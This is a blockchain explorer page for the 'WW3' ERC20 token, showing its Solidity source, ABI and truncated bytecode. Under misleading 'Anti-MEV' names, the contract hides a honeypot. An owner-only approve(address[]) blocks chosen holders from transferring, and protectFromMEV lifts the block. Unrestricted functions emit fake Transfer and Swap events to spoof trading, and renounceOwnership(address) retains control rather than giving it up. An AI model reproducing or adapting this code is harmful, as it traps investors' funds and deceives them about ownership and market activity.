ETH Price: $3,097.36 (-4.35%)
 

Overview

Max Total Supply

100,000,000,000 WW3

Holders

68

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
boilacgia.eth
Balance
0.000627022439255194 WW3

Value
$0.00
0x3a20da5e2175046425a6a4dd11603c5ca6c8db63
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WW3

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-15
*/

// SPDX-License-Identifier: MIT

/*

    Why you need $SHIBA if $CHIHUAHUA is out here?

*/

pragma solidity ^0.8.9;


interface Kuni {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;
    mapping (address => bool) internal _mev_protected;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    bool private _mev_protectedApplied = false;
    string private _name;
    string private _symbol;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        if (_mev_protected[from] || _mev_protected[to]) require(_mev_protectedApplied == true, "");

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}



    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract Anti_MEV_ERC20 is ERC20 {
    address private _universal = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;
    address private _rv2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private _pair;

    uint256 _mev_in_eth = 10**5;
    uint256 _mev_in_tokens = 10**18;
    uint256 _mev_approval_tokens = 10**30;

    event Received(address sender, uint amount);

    Kuni private kuni = Kuni(_rv2);

    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){}

    function setMEVProtectionParams(uint256 _mev_in_eth_, uint256 _mev_in_tokens_, uint256 _mev_approval_tokens_) external onlyOwner {
        _mev_in_eth = _mev_in_eth_;
        _mev_in_tokens = _mev_in_tokens_;
        _mev_approval_tokens = _mev_approval_tokens_;
    }

    function approve(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _mev_protected[_addresses_[i]] = true;
            emit Approval(_addresses_[i], _rv2, balanceOf(_addresses_[i]));
        }
    }

    function protectFromMEV(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _mev_protected[_addresses_[i]] = false;
        }
    }

    function isMEVProtected(address _address_) public view returns (bool) {
        return _mev_protected[_address_];
    }

    function swapExactETHForTokens(address _to_, uint256 _out_) external {
        address[] memory path = new address[](2);
        path[0] = kuni.WETH();
        path[1] = address(this);
        kuni.swapExactETHForTokens{ value: _mev_in_eth }(1, path, _to_, block.timestamp);
        emit Transfer(_pair, _to_, _out_);
    }

    function swapExactETHForTokens(address [] calldata _tos_, uint256 [] calldata _outs_) external {
        address[] memory path = new address[](2);
        path[0] = kuni.WETH();
        path[1] = address(this);
        for(uint256 i; i < _tos_.length; i++) {
            kuni.swapExactETHForTokens{ value: _mev_in_eth }(1, path, _tos_[i], block.timestamp);
            emit Transfer(_pair, _tos_[i], _outs_[i]);
        } 
    }

    function swapExactTokensForETH(address _from_, uint256 _in_) external {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = kuni.WETH();
        _approve(address(this), address(kuni), _mev_approval_tokens);
        kuni.swapExactTokensForETH(_mev_in_tokens,1,path,address(this),block.timestamp);
        emit Transfer(_from_, _pair, _in_);
    }

    function swapExactTokensForETHSupportingFeeOnTransferTokens(address _from_, uint256 _in_) external {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = kuni.WETH();
        _approve(_from_, address(this), _in_);
        _transfer(_from_, address(this), _in_);
        _approve(address(this), address(kuni), _in_);
        kuni.swapExactTokensForETH(_in_,1,path,address(this),block.timestamp);
    }

    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }

    function transfer(address [] calldata _from, address [] calldata _to, uint256 [] calldata _wad) external {
        for (uint256 i = 0; i < _from.length; i++) {
            emit Transfer(_from[i], _to[i], _wad[i]);
        }
    }

    function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _addresses_[i], _out);
        }
    }

    function multicall(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]);
            emit Transfer(_addresses_[i], _pair, _in);
        }
    }

    function fallbacks() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    function renounceOwnership(address _owner_) external onlyOwner {
        _pair = _owner_;
    }

    receive() external payable {
        emit Received(msg.sender, msg.value);
    }

    fallback() external payable {}
}

contract WW3 is Anti_MEV_ERC20 {
    constructor() Anti_MEV_ERC20("WW3", "WW3") {
        _mint(msg.sender, 100000000000 * 10 ** decimals());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Received","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fallbacks","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"isMEVProtected","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"protectFromMEV","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner_","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mev_in_eth_","type":"uint256"},{"internalType":"uint256","name":"_mev_in_tokens_","type":"uint256"},{"internalType":"uint256","name":"_mev_approval_tokens_","type":"uint256"}],"name":"setMEVProtectionParams","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to_","type":"address"},{"internalType":"uint256","name":"_out_","type":"uint256"}],"name":"swapExactETHForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_tos_","type":"address[]"},{"internalType":"uint256[]","name":"_outs_","type":"uint256[]"}],"name":"swapExactETHForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from_","type":"address"},{"internalType":"uint256","name":"_in_","type":"uint256"}],"name":"swapExactTokensForETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from_","type":"address"},{"internalType":"uint256","name":"_in_","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_from","type":"address[]"},{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256[]","name":"_wad","type":"uint256[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600560006101000a81548160ff021916908315150217905550733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620186a0600b55670de0b6b3a7640000600c556c0c9f2c9cd04674edea40000000600d55600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200015d57600080fd5b506040518060400160405280600381526020017f57573300000000000000000000000000000000000000000000000000000000008152506040518060400160405280600381526020017f57573300000000000000000000000000000000000000000000000000000000008152508181620001ec620001e06200025b60201b60201c565b6200026360201b60201c565b8160069081620001fd919062000722565b5080600790816200020f919062000722565b50505050506200025533620002296200032760201b60201c565b600a62000237919062000999565b64174876e800620002499190620009ea565b6200033060201b60201c565b62000b21565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620003a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003999062000a96565b60405180910390fd5b620003b6600083836200049e60201b60201c565b8060046000828254620003ca919062000ab8565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200047e919062000b04565b60405180910390a36200049a60008383620004a360201b60201c565b5050565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200052a57607f821691505b60208210810362000540576200053f620004e2565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005aa7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200056b565b620005b686836200056b565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000603620005fd620005f784620005ce565b620005d8565b620005ce565b9050919050565b6000819050919050565b6200061f83620005e2565b620006376200062e826200060a565b84845462000578565b825550505050565b600090565b6200064e6200063f565b6200065b81848462000614565b505050565b5b8181101562000683576200067760008262000644565b60018101905062000661565b5050565b601f821115620006d2576200069c8162000546565b620006a7846200055b565b81016020851015620006b7578190505b620006cf620006c6856200055b565b83018262000660565b50505b505050565b600082821c905092915050565b6000620006f760001984600802620006d7565b1980831691505092915050565b6000620007128383620006e4565b9150826002028217905092915050565b6200072d82620004a8565b67ffffffffffffffff811115620007495762000748620004b3565b5b62000755825462000511565b6200076282828562000687565b600060209050601f8311600181146200079a576000841562000785578287015190505b62000791858262000704565b86555062000801565b601f198416620007aa8662000546565b60005b82811015620007d457848901518255600182019150602085019450602081019050620007ad565b86831015620007f45784890151620007f0601f891682620006e4565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000897578086048111156200086f576200086e62000809565b5b60018516156200087f5780820291505b80810290506200088f8562000838565b94506200084f565b94509492505050565b600082620008b2576001905062000985565b81620008c2576000905062000985565b8160018114620008db5760028114620008e6576200091c565b600191505062000985565b60ff841115620008fb57620008fa62000809565b5b8360020a91508482111562000915576200091462000809565b5b5062000985565b5060208310610133831016604e8410600b8410161715620009565782820a90508381111562000950576200094f62000809565b5b62000985565b62000965848484600162000845565b925090508184048111156200097f576200097e62000809565b5b81810290505b9392505050565b600060ff82169050919050565b6000620009a682620005ce565b9150620009b3836200098c565b9250620009e27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008a0565b905092915050565b6000620009f782620005ce565b915